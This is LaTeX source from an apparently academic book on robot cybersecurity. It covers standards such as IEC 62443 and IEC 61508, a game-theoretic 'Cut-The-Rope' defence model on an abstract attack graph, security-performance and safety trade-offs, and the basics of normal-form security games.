The (in)security of robots is mostly rooted in the fast digitalization of the branch. Traditionally, robots have been used in (networked) isolation without connections to the outside. Now, with increasing connectedness, the security issues of other connected systems also affect robotics. When developing a new robot or a robot-based application, security is actually an important requirement. Due to the complexity of these systems, assuring security is a non-trivial task that is mostly application-specific. In order to develop a common set of criteria for robot security, the most relevant international standard is the IEC-62443 ``Industrial communication networks - IT security for networks and systems'' standards series. It defines requirements and processes for multiple actors involved in developing a secure industrial system, namely the component vendor, the system integrator, and the end user. IEC-62443 defines multiple security levels depending on which kind of attacks a system should be secured against (ranging from incidental manipulation to highly-skilled groups with extensive resources). Based on the process and requirements defined in IEC-62443, structured, security-enhanced development processes like DevSecOps can be employed to build secure robot systems.
\begin{figure}
\centering
\caption{Safety standards of relevance for robotics and their relationship.}
\label{fig:safety_standards}
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node[punkt, text width=10em, rectangle split, rectangle split parts=2] {\textbf{IEC 61508}
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Functional safety of electrical/
electronic/programmable electronic
safety-related systems
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\textbf{ISO 26262}
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Road vehicles — Functional safety
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\textbf{IEC 61513}
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Nuclear power plants - Instrumentation and control important to safety
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Medical device software - Software life-cycle processes
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\end{figure}
As pointed in previous sections, there's an intrinsic connection between safety and security. Safety cares about the robot not harming the environment (or humans) whereas security deals with the opposite, aims to ensure the environment does not conflict with the robot's programmed behavior. Functional safety standards reflect this aspect. Figure \ref{fig:safety_standards} depict functional safety standards that are relevant in robotics and the connection between them.
At the European level, The Machinery Directive, Directive 2006/42/EC of the European Parliament and of the Council of 17 May 2006 \cite{directive200642} is a European Union directive whose main intent is to ensure a common safety level in machinery placed on the market, including robotics. In a other words, it seeks to harmonize machine safety requirements. It’s important to note that directives are ratified by the EU as a whole, then each member country is expected to implement its own local laws, regulations and standards to enforce the directive. So the directive is subject to interpretation by lawmakers and regulatory authorities and standards organizations and to further interpretation by companies that design, build and use machinery.
While only the machinery directive itself can be considered a law, the text itself is too broad for industry to apply directly. Accordingly, two alternative European standards were developed by the International Organization for Standardization (ISO) and the International Electrotechnical Commission (IEC) in compliance with EU Machinery Directive 2006/42/EC: EN ISO 13849-1 and EN 62061, both inspired by IEC 61508 "Functional Safety of Electrical/Electronic/Programmable Electronic Safety-related Systems". IEC 61508 is often considered as the meta-standard for safety safety and from where most functional safety norms grow. IEC 61508 indicates the following in section 7.4.2.3:
\begin{quote}
"If the hazard analysis identifies that malevolent or unauthorised action, constituting a security threat, as being reasonably foreseeable, then a security threats analysis should be carried out."
\end{quote}
Moreover, section 7.5.2.2 from IEC 61508 also states:
\begin{quote}
``If security threats have been identified, then a vulnerability analysis should be undertaken in order to specify security requirements."
\end{quote}
which translates to security requirements. Note these requirements are complementary to other security requirements specified in other standards like IEC 62443, and specific to the robotic setup in order to comply with the safety requirements of IEC 61508. In other words, safety requirements spawn from security flaws, which are specific to the robot and influenced by security research. Periodic security assessments should be performed and as new vulnerabilities are identified, they should be translated into new security requirements. More importantly, the fulfillment of these security requirements to maintain the robot protected (and thereby safe) will demand pushing the measures to the robot endpoint. Network-based monitoring solutions will simply not be enough to prevent safety hazards from happening. Safety standards demand thereby for a security mechanism that protects the robot endpoints and fulfill all the security requirements, a {REPP}.
\chapter{Game Theory for Robotic System Security}\label{sec:game-theory-intro}
Before describing the more general terms of game theory and its security application, let us illustrate the basic idea of how to use game theory on a simple game set up on the output artifacts of a (conventional) {TVA} (Section \ref{sec:tvs}), and penetration testing tools (Section \ref{sec:pen-testing}).
A general game is cooked from three ingredients:
\begin{itemize}
\item A set of players, here being only two: a defender (player 1) versus an attacker, as player 2.
\item A set of actions for both players, which depends on the possibilities of defense and attack, resp. penetration. These actions sets are widely unrestricted in terms of how their elements look like, but an ``action'' can be understood as any prescription (arbitrarily complex) on how to act towards a certain goal. This description can range from very simple yes/no decisions, up to complex attack patterns entailing whole sequences of command and control, similarly as in Figure \ref{fig:malicious-param-attack}, for instance.
\item A set of utility functions, for each player, which quantifies the revenue upon the joint actions taken by all players. This is in many cases the most intricate component to specify, since it is supposed to compile a numeric value that all players are supposed to optimize by taking certain actions. For security, this bears the challenge of aggregating perhaps several security goals in the utility value, as well as it also needs to accurately reflect the incentives of each player in the competition. The construction of proper payoff functions is at the core of most game theoretic models for security, with the second core ingredient being the actual solution of the game; in many cases an equilibrium.
\end{itemize}
An equilibrium is a strategy profile that once jointly implemented by all players, does not leave any player with an incentive to deviate from it, given that no other player does so. It is thus a strict selfish perspective, not precluding the possibility to join forces with other players to gain more from the game than one could get alone. In security, however, we mostly assume players to act on their own, as security teams can in many instances be modeled as a single player with a respectively more complex ability to take actions.
In the following, we describe a simple instance of a game that is directly playable on an attack graph, such as a {TVA} would deliver. This has the appeal of naturally inducing the respective action sets, as well as utility functions, in the game about chasing an invisible intruder throughout the attack graph.
\section{Introduction by Example: Chasing the Adversary on Attack Graphs}\label{sec:cut-the-rope}
Suppose that we are dealing with a stealthy attacker that tries to penetrate a system, \emph{e.g.}\xspace, a {ROS}\xspace instance, and seeks to conquer a certain node in it, \emph{e.g.}\xspace, an actor element to cause (physical) damage, or to reconfigure it to produce minor quality in the long run (say, by placing less welding points or otherwise causing quality deterioration).
To illustrate the game and results, consider a very simple system consisting of three machines, one of which (Machine 0) is under an adversary's control, trying to take further control over a particular {ROS}\xspace node, here machine 2. It aims to do so by either directly sending commands to machine 2, or taking a detour over machine 1. Note that we here, in Figure \ref{fig:infrastructure} adapted the example originally due to \cite{singhal_security_2011} for the network context, but analogously applicable to {ROS}\xspace too. Figure \ref{fig:attack-graph} shows an exemplary attack graph with condition nodes (boxes), exploit nodes (ellipses), and starting and finishing points of the attack. The predicates shown along the way represent access takeover events using a certain technique (\emph{e.g.}\xspace, a file transfer to a remote host (\texttt{ftp\_rhost}) or remote shell (\texttt{rsh}) access, from machine A to machine B, denoted as ``parameters'' to the respective predicates. Further exploits concern buffer overflows (\texttt{bof}) in specific protocol stacks (e.g., \texttt{ssh}) or on the \texttt{local} node's firmware).
\begin{figure}
\centering
\begin{minipage}[l]{0.45\textwidth}
\subfloat[Infrastructure (adapted from literature)]{\label{fig:infrastructure}
\includegraphics[width=\textwidth]{figures/apt-example.pdf}}\\
\subfloat[Attack Graph \citep{singhal_security_2011}]{\label{fig:attack-graph}
\includegraphics[width=\textwidth]{figures/attack-graph.pdf}
}
\end{minipage}\qquad
\begin{minipage}[l]{0.45\textwidth}
\subfloat[Attack paths in the graph shown in Fig \ref{fig:attack-graph}]{\label{tbl:as2}
\scriptsize
\rotatebox[origin=bl]{90}{
\begin{tabularx}{15cm}{|l|X|}
\hline
No. & Attack path\\\hline
1 & \texttt{execute(0)} $\to$ \texttt{ftp\_rhosts(0,1)} $\to$ \texttt{rsh(0,1)} $\to$ \texttt{ftp\_rhosts(1,2)} $\to$ \texttt{rsh(1,2)} $\to$ \texttt{local\_bof(2)} $\to$ \texttt{full\_access(2)} \\\hline
2 & \texttt{execute(0)} $\to$ \texttt{ftp\_rhosts(0,1)} $\to$ \texttt{rsh(0,1)} $\to$ \texttt{rsh(1,2)} $\to$ \texttt{local\_bof(2)} $\to$ \texttt{full\_access(2)}\\\hline
3 & \texttt{execute(0)} $\to$ \texttt{ftp\_rhosts(0,2)} $\to$ \texttt{rsh(0,2)} $\to$ \texttt{local\_bof(2)} $\to$ \texttt{full\_access(2)} \\\hline
4 & \texttt{execute(0)} $\to$ \texttt{rsh(0,1)} $\to$ \texttt{ftp\_rhosts(1,2)} $\to$ \texttt{sshd\_bof(0,1)} $\to$ \texttt{rsh(1,2)} $\to$ \texttt{local\_bof(2)} $\to$ \texttt{full\_access(2)} \\\hline
5 & \texttt{execute(0)} $\to$ \texttt{rsh(0,1)} $\to$ \texttt{rsh(1,2)} $\to$ \texttt{local\_bof(2)} $\to$ \texttt{full\_access(2)} \\\hline
6 & \texttt{execute(0)} $\to$ \texttt{rsh(0,2)} $\to$ \texttt{local\_bof(2)} $\to$ \texttt{full\_access(2)} \\\hline
7 & \texttt{execute(0)} $\to$ \texttt{sshd\_bof(0,1)} $\to$ \texttt{ftp\_rhosts(1,2)} $\to$ \texttt{rsh(0,1)} $\to$ \texttt{rsh(1,2)} $\to$ \texttt{local\_bof(2)} $\to$ \texttt{full\_access(2)} \\\hline
8 & \texttt{execute(0)} $\to$ \texttt{sshd\_bof(0,1)} $\to$ \texttt{rsh(1,2)} $\to$ \texttt{local\_bof(2)} $\to$ \texttt{full\_access(2)} \\
\hline
\end{tabularx}
}}
\end{minipage}
\caption{Example Playground for \textsc{Cut-The-Rope}}\label{fig:cut-the-rope}
\end{figure}
The mathematical game played on the attack graph proceeds along the following lines:
\begin{enumerate}
\item The intruder runs through several exploits in a sequence, hiding its traces and leaving backdoors for an easy return later on. The intruder can become active at any time (including nights and weekends), and can become active at any frequency (be attacking often in short time, or remaining idle for longer periods). While we do not assume the defender to ``see'' the activities of the adversary, we nonetheless assume that the defender knows the ``rate'' $\lambda$ at which the attacker becomes active per time unit. That is, we adopt an assumption on the knowledge of a value $\lambda$ that measures the ``number of penetrations per time unit''.
The attacker is thus free to pick any attack path, \emph{a.k.a.}\xspace \emph{attack vector}, to reach its goal. And here comes a practical difficulty, since there are generally exponentially many options here. Reducing the complexity of attack graphs to subsequently keep the possibilities within feasible bounds to fix them is a matter beyond our scope here, but important to bear in mind when constructing the attack graph. One simple mean is grouping nodes with similar vulnerabilities or exploits, and other techniques take advantage of game theory here too, and include only those attack vectors who are ``most promising'', assuming that the attacker will not pursue a path with unnecessary many obstacles on it. Commercial tools to compile attack graphs (e.g., \citep{cyvision_technologies_cauldron_2020}) or theoretical accounts for attack-defense games \citep{rass_cyber-security_2020} list methods here to reduce the complexity. In the example shown in Figure \ref{fig:cut-the-rope}, the table in Figure \ref{tbl:as2} shows an exhaustive list of all attack paths that the intruder could follow. The smallness of the example admits this listing here.
\item The defender chooses a point in the attack graph to inspect, corresponding to a physical node (perhaps the same physical node for several nodes in the attack graph), i.e., monitor for suspicious activity, update or patch it, change credentials, \emph{etc}\xspace. Knowing how often the attacker is supposed to become active (the value $\lambda$), the defender can invoke a Poisson distribution to model the probabilistic depth of penetration into the system from the starting point. If knowledge of $\lambda$ is unrealistic, then alternatives are equally admissible, say, taking a {CVSS} or {RVSS} score to express the difficulty of mounting an attack or exploit, and by that knowledge, describing probabilistically how deep the intruder already has made it into the system.
Note that this particular game assumes the defender to become active in fixed intervals, like working days, or working shifts. These intervals determine the time unit relative to which the attacker's activity level $\lambda$ is measured. Generalizations to 24/7 security response teams are possible, yet not deeper discussed here.
\item The goals of the two players are, for the attacker, to hit the designated target node (here, machine 2), while it is the defender's aim to keep it away from machine 2 as good as it can. Note that the defender has no guarantee of ever being successful in really ``catching'' the intruder upon an inspection, and it may have quite good chances to miss it at all, if the adversary walks in along a different attack path, than the defender is currently checking.
This means that there are basically two possible outcomes upon a spot check, i.e., when the defender takes action in the game:
\begin{itemize}
\item it can, most likely unknowingly, clean a node from a backdoor that the adversary has previously left there. In that case, the attacker is sent back to an earlier node in the attack graph and needs to penetrate the node again that the defender has just cleaned or reconfigured. This effect gives the game it's name as ``\textsc{Cut-The-Rope}'', since the attacker's rope from the beginning down to the target has been ``cut'' by the defender.
\item it has checked a node that was completely outside the route that the adversary is on, or that may be on the attacker's route towards its goal, but it has not reached it yet. In both cases, the defense action remains without any effect for the defender, or the attacker (except for the adversary having accomplished another step towards the goal undisturbed.
\end{itemize}
The quantitative goal for both players is to maximize, respectively minimize, the chances for the intruder to hit its goal. The defender then needs to pick its actions so that the chances to hit machine 2 are minimized, while the attacker will pick its attack vectors towards maximizing the probability to hit its target.
\end{enumerate}
This is already a qualitative, yet informal, mathematical game played on an attack graph, where the action spaces for the attacker are the exploit nodes, and the action space for the defender is all nodes where a spot check, patch or reconfiguration is doable for a defense. It is an instance of a moving target defense, and implementable by very simple means; in the case of this particular game, the code is freely available from \citep{system_security_research_group_implementation_2019}.
The result of the computation, as for most game-theoretic models, is a threefold information:
\begin{itemize}
\item an optimal decision making scheme for the defender to act best against the opponent
\item a likewise optimal behavior for the attacker,
\item and an equilibrium payoff to both players, quantifying their revenue if the respective other player is taking its optimal actions.
\end{itemize}
We call a strategy profile that simultaneously optimizes the payoffs for all players, respecting mutual negative or positive correlations between their individual payoffs, an \emph{equilibrium}. For the game in Figure \ref{fig:cut-the-rope}, it comes as an optimal inspection schedule for the defender, \emph{i.e.}\xspace, prescribing the frequency and random choice of system components to patch, update and scan for malware. The second part of the equilibrium is a likewise optimal choice rule about attack paths for the adversary. We leave this information out here, but \emph{explicitly warn} about taking the attacker's optimal behavior as a guideline on where to defend! This seemingly natural use of the result is dangerous in light of there being other equally optimal ways for the attacker to win the game besides what the game computes, and hence a defense should generally not be built on a hypothetical model of where the attacker is expected to hit (not even if this information comes out of a game optimization). Essentially, it is thus best for the defender to implement the defense that the game computes as explicit equilibrium for the defender, but the likewise information for the attacker must be taken with care. The good news is that the equilibrium defense strategy will be optimal in any case of adversarial behavior, conditional on the attacker not coming up with unexpected attacks such as \emph{zero-day} exploits. Conditional on the attacker acting only \emph{within} its (modeled) attack set, there is no way of improving the defender's performance by any deviation motivated by what we think the attacker would do in the game.
For the example in Figure \ref{fig:cut-the-rope}, we find the optimal defense to be inspecting machine 2 continuously, eventually preventing a buffer overflow to occur locally (node 7 in the graph in Figure \ref{fig:cut-the-rope}). This is not surprising, given the fact that all attack paths eventually must traverse node 7, making it the most promising point to establish a defense. If a permanent fix to this node is possible, then the topology of the attack graph of course changes, either by adding new links and nodes, or by cutting the target node off so that the graph becomes disconnected. This practically optimal case can, however, hardly be expected to happen in reality. Still, since the attacker could have been active over the defender's capabilities, leaving a residual chance of hitting the target before the first inspection on the vulnerable node 7. Eventually, what the game analysis gives us, corresponding to the three result items mentioned above, is the following information \citep{rass_cut--rope_2019}:
\begin{itemize}
\item optimal defense: check machine 2 for buffer overflows, \emph{i.e.}\xspace, keep node 7 under protection in the attack graph.
\item optimal attack: take path \texttt{execute(0)} $\to$ \texttt{ftp\_rhosts(0,2)} $\to$ \texttt{rsh(0,2)}
$\to$ \texttt{full\_access(2)}. This path, coincidentally, corresponds to the shortest attack path in this instance of the game. It may alternatively also come up as the ``easiest'' path to penetrate according to {CVSS} or {RVSS} ratings, depending on how the game was defined.
\item equilibrium utility $U^*$: in the given setup, this is the probability (distribution) of the attacker location over the 10 possible positions in the attack graph, and we get numbers for these likelihoods from the equilibrium computation, being
\begin{equation}\label{eqn:cut-the-rope-example-equilibrium}
U^*\approx\left\{
\begin{array}{c|c}
\text{node} & \text{probability of the attacker being there} \\
\hline
1 & 0.573 \\
2 & 0\\
3 & 0\\
4 & 0\\
5 & 0\\
6 & 0.001 \\
7 & 0.111 \\
8 & 0.083 \\
9 & 0.228 \\
10 & 0.001\\
\end{array}\right.
\end{equation}
which is the expected effect of the defender's original duty, \emph{i.e.}\xspace, the adversary can get close to the part or machine represented by node $v_0$, but has only a very small
chance of conquering it.
\end{itemize}
Further aspects to include in the consideration relate to the possibility (and perhaps likely event) to see an optimized defense \emph{fail} from time to time. Intrinsic to the concept, with reasons exposed more visibly later, the defender may suffer a ``disappointment'' by missing the attacker although the game-theoretically best defense was implemented. Including the possibility of such events and minimizing the chances for a defense to fail at all is a more complex matter and theoretically challenging. We refer to the work of \citep{gul_theory_1991,chauveau_subjective_2012,wachter_disappointment-aversion_2018} for methods in this regard. Much easier to include are costs of changing configurations for security. While patching a node's software is typically part of the regular maintenance duties, a change of access credentials or changing a node's configuration is something with the risk of causing service disruptions, and hence often avoided. One can (and would need to) include such costs in the design of the respective utility functions, and generic methods to do so have been described by \cite{rass_cost_2017}.
\input{subsections/quanyan-game}
\chapter{Discussions and Conclusions}
Securing robot systems has its unique challenges, since their interaction with the world is virtual (related to information) and physical, which extends the usual threat landscape considerably. Consequently, the tools to address security need to meet the diversity of threats, and game theory, applied to security scoring systems, can provide a powerful mechanism to orchestrate and assemble security mechanisms that each cover their specific threat spectrum, but which only in totality can provide comprehensive protection.
The steps taken in this book are only preliminary and yet point out a gap between what theory can offer and what robot designers could use in the future. Since systems are heterogeneous and with components from many vendors combined, it can be tempting and easy to just delegate responsibility to somebody else. This is an issue on the organizational level, and risk management standards can be very helpful here to address issues of ownership, responsibility, and incident management. The complexity of bringing a development project into standard compliance is yet another motivation to employ optimization, such as game theory.
The complementation of technical security mechanisms by adequate organizational precautions pervasive throughout the whole robot life cycle is an issue that we only touched lightly here, but demanding more in-depth research in the future. The problem with robotic security may partly be attributed to the lack of responsibility assignment when it comes to an incident.
\subsubsection{Security and Performance Tradeoffs}
One important challenge to address with robotic security is to tradeoff between adding security and the performance requirements in the overall system. Real-time processes will need to account for it to To harden the security in robotic systems. For example, the real-time control loops can be subject to stochastic latency due to the addition of encryption and access control mechanisms. To cope with it, the robot will require additional computational resources. The off-the-self and traditional solutions would not work for all robots. It is essential to tailor the security solutions for different robot application domains and take into account the performance specifications. The security solutions for a teleoperated medical robot should be significantly different from the ones for a domestic cleaning robot. The security models and the threat consequences are drastically different in two cases.
There is a need to prioritize the security objectives and develop bespoke frameworks for the system-specific tradeoffs and designs. Such priorities can be added to a model as importance scores (see, e.g., \cite{rass_numerical_2014}), or with explicit rankings among the goals. One such extension towards the latter is lexicographic optimization as described in \citep{konnov_lexicographic_2003,zhu_security_2020}. Quantitative metrics and design methodologies play an important role to achieve these objectives. One important future direction is for robot designers to develop customized metrics and methodologies to understand the security-performance trade-offs and the design of optimal resource-constrained solutions. The specification of metrics and quantification of risks, thereby induces an operational difficulty perhaps, since engineers but also security specialists may find it difficult to quantify security for an optimization. Likewise difficult is the general specification of probability parameters as appear throughout the majority of stochastic models, not only to describe robot security.
Helping robot designers with security requires more than just proposing yet another security model, but also helps the practitioner to reason about how to instantiate the models for their use. Work in this direction is relatively scarce, but the problem of systematic parameter learning is addressable by machine learning techniques. See \cite{rass_refining_2019} for an example application in the context of critical infrastructures that are transferable to robots as infrastructures too, or \cite{josang_beta_2002} and \cite{rass_bayesian_2013} for online learning and reasoning about the trustworthiness of components in a joint system. Further help is offered by scoring systems like {RVSS}, as these provide a systematic tool to quantify security and, as \cite{konig_assessing_2018} describe, also get ideas about how to specify probabilities if a stochastic model or decision making requires them. This can be complemented by other than numeric quantification techniques, such as graphical risk specification as proposed by \cite{wachter_visual_2017}.
Security defense is often an add-on solution in today's robotic systems. Oftentimes, the security solutions are based on traditional and off-the-shelf solutions, e.g. cryptography, firewalls, and intrusion detection systems. Advanced defense strategies, such as cyber deception and moving target defenses, will require a careful evaluation of the threat models and additional system resources to enable such defenses. Without a deliberate built-in design, our robotic systems will always be in a vulnerable state as the attacker can eventually map out the system and launch successful attacks. Built-in defense mechanisms aim to outsmart and deter the attacker by leveraging the system resources to introduce uncertainties and make the attack more costly. Including uncertainty in optimization is its issue but doable with game models that adopt a more complex payoff modeling than crisp numbers. Specifically, it is possible to optimize actions for defense and resource investment when consequences are uncertain \citep{rass_defending_2017}, even in light of multiple conflicting goals \citep{rass_security_2018a}, interdependencies and network effects \citep{zhang_attack-aware_2016,chen_interdependent_2016,chen2017interdependent,chen2019game,miura2008security}.
\subsubsection{Security vs. Safety}
This book has discussed the cybersecurity frameworks and models for robotic systems. It is essential to distinguish security from safety and reliability, which have been relatively well studied in the robotics literature. The first key difference is that security is an issue strategically created by an adversary. The safety issues are often related to natural causes. Some of them can exceed expectations but they are not associated with objectives and malicious intentions. Often, we tackle the safety issues by specifying a tolerable set of uncertainties and design systems under the worst cases among these uncertainties. The attack is an outcome of the purposefully planned actions and the exploitation of the vulnerabilities. We need to understand the attack models through the objectives, the incentives, and the capabilities of an attacker when developing security solutions for robots.
Second, the impact of the damage created by an attacker may not directly observable at the physical layer at an early stage of the compromise. Safety often refers to the last-mile physical protection at the {OT}-level. It is often too late when the attacker succeeds in penetrating the cyber layers, controls the physical assets, and can manipulate them at his will. Security defense goes beyond the {OT} and protects the system at the {IT}-level. In this book, we have described the challenges and quantitative methods that can be used to address the {IT}-level security and its induced impact on the {OT}. Safety and security issues are not mutually exclusive. They can be treated together within a holistic framework that considers the cross-layer effects. Ensuring {IT}-level security is an important step toward improving the safety of the system, especially when major {OT}-safety concerns arise from {IT}-security.
\subsubsection{Emerging Attack Models and Defense Solutions}
This book has presented several attack models and solutions to counteract them. There are many emerging threats and advanced techniques that would be of interest to investigate. For example, adversarial machine learning is an increasingly important topic. Many robotic systems rely on learning models for pattern recognition, detection, and perception of the environment. An attacker can manipulate the input data and mislead the robot to erroneous learning results \citep{huang2019deceptive,zhang2018game,zhang2017game,zhang_game-theoretic_2017,joseph2018adversarial}. This attack can lead to misinformed decisions and control, which would result in catastrophic consequences. It is imperative to assess the trustworthiness of learning models and develop contingent solutions when the learning is not trusted.
New technologies in robotics also inspire new attack models. For example, cloud robotics is a new paradigm of robotic systems that integrate the technologies of cloud computing and storage into robotics \citep{kehoe2015survey}. It empowers the robots with the powerful computation, storage, and communication resources in the cloud and enables information sharing and communication among a group of robots and devices. However, the confidentiality and the integrity of the data communicated between the cloud and the robot can be compromised by an attacker. Furthermore, an attacker at the cloud can falsify the computations to mislead the robots or create a denial of service so that the robot does not have sufficient inputs to act in an unknown environment \citep{pawlick2015flip,xu2017secure,xu2015secure}.
New attack vectors and more sophisticated attackers would galvanize the defender to develop new defense solutions. One promising direction of cyber defense is the deception technology, which employs decoys (e.g., honeypots) or introduces uncertainties (e.g., moving target defense) to deceive, detect, and deter the attacker. Deception technologies provide a proactive way to defend against zero-day and advanced attacks and enable an automated way to respond in real-time to the threats. Design of deception techniques often relies on a clear understanding of the system tradeoffs involving resource constraints, security objectives, and attack models. Game theory has been used as a primary tool to address this tradeoff and develop an optimal cyber deception mechanism \citep{pawlickgame}. Interested readers can develop new security solutions for robots by making connections between these advanced cyber defense solutions with the new attack threats in robotics.
Beyond the technical solutions to security issues in robots, economic policies and tools can also be used to mitigate their adversarial impact on society. Cyber insurance is such a product that protects owners and users of the robots from cyberattack-induced damages. The coverage of cyber insurance allows the risks to be transferred and distributed fairly at the cost of premiums. Damages such as injuries, collisions, theft, and extortion can be possibly covered by the insurance. The premiums and the incentives of the insurance need to be carefully designed to reduce moral hazards and increase social welfare. Design methodologies of insurance design developed in \citep{zhang2017bi,bolot2009cyber,hayel2015attack,zhang2019flipin} can be applied and customized to different robotic applications in the future as an additional layer of risk protection.
\subsubsection{Bridging Game Theory and Practice}
Chapter \ref{sec:game-theory-intro} has provided an overview of the game-theoretic methods and their applications in cybersecurity and robotics. We have seen that game-theoretic frameworks can capture the defense mechanisms and the attack models. The games take different forms to describe the distinct features at a specific layer of the robotic system. The formulation of the game models builds on the system designer's knowledge and assumption about the attacker. The assumption of the attack model may not perfectly align with the practice. One important reason is that the designer and the attacker have asymmetric information about each other. Furthermore, the players may not act rationally even if the game is known to both. These questions are reasonable concerns when we apply the solutions from idealized game models. The idealized models provide a canonical form of descriptions. Many sophisticated methods can enrich these models to provide practical security solutions.
One method to enrich the baseline game models is reinforcement learning (RL). The defender can learn and react to the attacker's behaviors in real-time. The RL does not require the defender to know the games ahead of time but uses his observations to adapt his strategies without knowing the underlying model. In \cite{huang2019adaptive} has developed RL algorithms to assimilate the data collected by honeypots to create an attack model and learn about the attacker's intention and capabilities. \cite{zhu2013hybrid} and \cite{zhu2010heterogeneous} have also presented several RL mechanisms which are used to model different styles of learning in terms of rationality and the intelligence of the learner. They can be used to capture human factors such as constraints on cognition, perception, and reasoning.
RL techniques have also been used as part of the OT to control and monitor robots in real-time. The OT-level RL allows the robots to learn the cyber-induced changes in the physical systems and respond to them to achieve agility and resiliency (e.g. see \citep{zhu2012dynamic,
huang2020dynamic,zhu2011robust}). It is possible to compose the RL algorithms at IT and OT levels to achieve holistic security learning and monitoring of the robotic systems.
Besides RL, the baseline game models can be enriched by directly incorporating information incompleteness. In large-scale finite security games, it is not practical for the players to know every entry of the payoff matrix. The players can estimate the unknown payoffs by leveraging information from historical or real-time plays \citep{monga_solving_2016,pan2020masage,peng2020data}. For example, \cite{pan2020masage} has presented a gradient method to estimate the payoff matrices by finding the closest one to the game matrices played in the past. Incorporating uncertainties and bounded rationality into game models is a major step toward bridging game theory and practice. This cross-disciplinary approach will benefit from fruitful collaborations between game theorists, cybersecurity experts, and roboticists.
\chapter*{Acknowledgements}
The authors would like to thank the support that we receive from our institutions. We thank many of our friends and colleagues for their inputs and suggestions.
Stefan Rass, Bernhard Dieber and Víctor Mayoral Vilches thank Endika Gil Uriarte, Martin Pinzger, Nacim Ramdani, Alcino Cunha, Francisco Rodriguez Lera and Roberto Guzman
for invaluable discussions and suggestions on the DevOps and DevSecOps cycle in the robotics context, as outlined in this book.
Special thanks from Quanyan Zhu go to the members of the Laboratory of Agile and Resilient Complex Systems (LARX) at NYU, including Jeffrey Pawlick, Juntao Chen, Rui Zhang, Tao Zhang, Linan Huang, Yunhan Huang, and Guanze Peng. Their encouragement and support have provided an exciting intellectual environment for us where the major part of the work presented in this book was completed. Quanyan Zhu would like to acknowledge support from several funding agencies, including the National Science Foundation (NSF), Army Research Office (ARO), and the Critical Infrastructure Resilience Institute (CIRI) at the University of Illinois at Urbana-Champaign for making this book possible.
Materials in this book were in part first presented at the Workshop on Security and Privacy in Robotics at International Conference on Robotics and Automation (ICRA), held virtually from May 31 -- June 4, 2020. We are grateful to the ICRA conference organizers who have made this workshop possible despite the difficult times of the pandemics. We appreciate the speakers and the audience who made this workshop possible.
Interested readers can refer to \cite{icraworkshop} for materials from the presentations and the panel discussion.
\bibliographystyle{abbrv}
\section{Introduction to Security Games and Strategic Defenses}\label{gamemodels}
We have seen in recent years that attackers are becoming increasingly sophisticated and intelligent. Traditional security solutions that rely on cryptography, firewalls, and intrusion detection systems are \emph{necessary} (cf. Section \ref{sec:securing-the-api}) but not \emph{sufficient} to guarantee the security of the robots. There are many ways that an attacker can circumvent these technologies and gain access to the targeted systems. The design objective of perfect security is not possible as the system designers are always constrained by resources. The attack graph from Section \ref{sec:cut-the-rope} is one step towards this: instead of aiming for perfect security, one reasonable security solution is to understand the specific system features and their objectives and take into account the strategic behaviors of the attacks and the constraints on the attack-and-defense resources. In robotic systems, the consequences of a compromised system differ depending on the domain of the applications. For example, a service robot that interacts with humans, e.g., self-driving cars and autonomous vehicles, can be turned into a deadly weapon that hurts human users. Manufacturing robots on assembly lines can break down and cause a significant economic loss due to reduced production. Hence understanding and quantifying the system-specific objectives and the available resource is key to developing an effective defense mechanism against attackers.
To this end, game theory provides a modeling and reasoning framework for the design of effective security solutions \citep{manshaei2013game}. First, game-theoretic models can capture the competitive and strategic behaviors of the players and their constraints. Second, there are a rich set of game-theoretic algorithms and tools that enable the prediction of the outcomes through the analysis and the computation of the equilibrium. Third, game models provide ways to incorporate human factors, including bounded rationality, cognitive biases, and human perception. Fourth, game models can take different forms at multiple layers of the system and for various attack models. They can be composed and integrated to create a game of games to provide a holistic view of the security issues across the layers of the system and enable a design of system-wide security solutions. Game theory has been used in a wide variety of cybersecurity contexts. A few application areas include intrusion detection systems \citep{zhu2011indices,zhu2010network,zhu2009dynamic}, adversarial machine learning \citep{zhang2015secure,pawlick_stackelberg_2016,zhang2016dynamic,zhang_game-theoretic_2017,zhang2018gameML}, proactive and adaptive defense \citep{van2013flipit,farhang2014dynamic,clark2012deceptive,zhu2011distributed,zhu2010heterogeneous,zhu2010no,huang2010distributed}, cyber deception \citep{zhu2012dynamic,zhang2019game,Huang2019,pawlick2018modeling,Pawlick2018Dissertation,pawlick2017game}, communications channel jamming \citep{basar1983gaussian,zhu2011eavesdropping,zhu2010stochastic,xu_game-theoretic_2017,zhu2011dynamic,zhu2013game}, secure industrial control systems \citep{miao2014moving,zhu2015game,zhu2012dynamic,alpcan2004game} and critical infrastructure security and resilience \citep{rass_gadapt:_2016,chen_interdependent_2016-1,huang2019adaptive,chen_interdependent_2016,huang2018analysis,huang2017large,huang2018distributed}.
\subsection{Models and Security Games}\label{sec:game-theory-definitions}
Let us reconsider the intuitive description of games laid out in Section \ref{sec:game-theory-intro}, in more rigorous and general terms:
A normal form game of complete information is defined by three elements. The
first one is the set of players, denoted by $\mathcal{N}$. In security games,
there are often two players in the game. One is the attacker $A$. The other
one is the defender $D$. The second element is the action set of the players,
denoted by $\mathcal{A}_i, i\in\mathcal{N}$. The action set captures the
feasible actions that are available to the players. It can naturally
incorporate the system and knowledge constraints of the players, and the
rules of the games. The third element is the preference or the payoffs of the
players $U_i, i\in \mathcal{N}$, which depends on the actions played by all
players, $\{a_i, i\in\mathcal{N}\}$, known as the action profile. Each player
chooses to play the action that maximizes his payoff. We are interested in
the outcome of this game when the players have complete information of this
game and choose action $a_i \in \mathcal{A}_i$ to maximize their own payoff.
The normal-form game of two players with finite actions, say the row player
$A$ and the column player $D$, can be represented by a matrix. Each row $k
\in\{1, 2, \ldots, n\}$ corresponds to an action in the action set of player
$A$; each column $l \in \{1, 2, \ldots, m\}$ corresponds to an action in the
action set of player $D$. Matrices $F, G \in \mathds{R}^{n\times m}$ are the
payoff matrices for players $A, D$, respectively. Entries $F_{kl}, G_{kl}$
represent the payoff to players $A, D$, respectively, when actions that
correspond to $k$-th row and $l$-th column are played.
This outcome is predicted by the solution concept called Nash equilibrium. An action profile $\{a_i^*\in\mathcal{A}_i, i\in\mathcal{N}\}$ constitutes a (pure-strategy) Nash equilibrium when no player can deviate from it unilaterally; in other words,
$$
U_i(a^*_i, a^*_{-i}) \geq U_i(a_i, a^*_{-i}),
$$
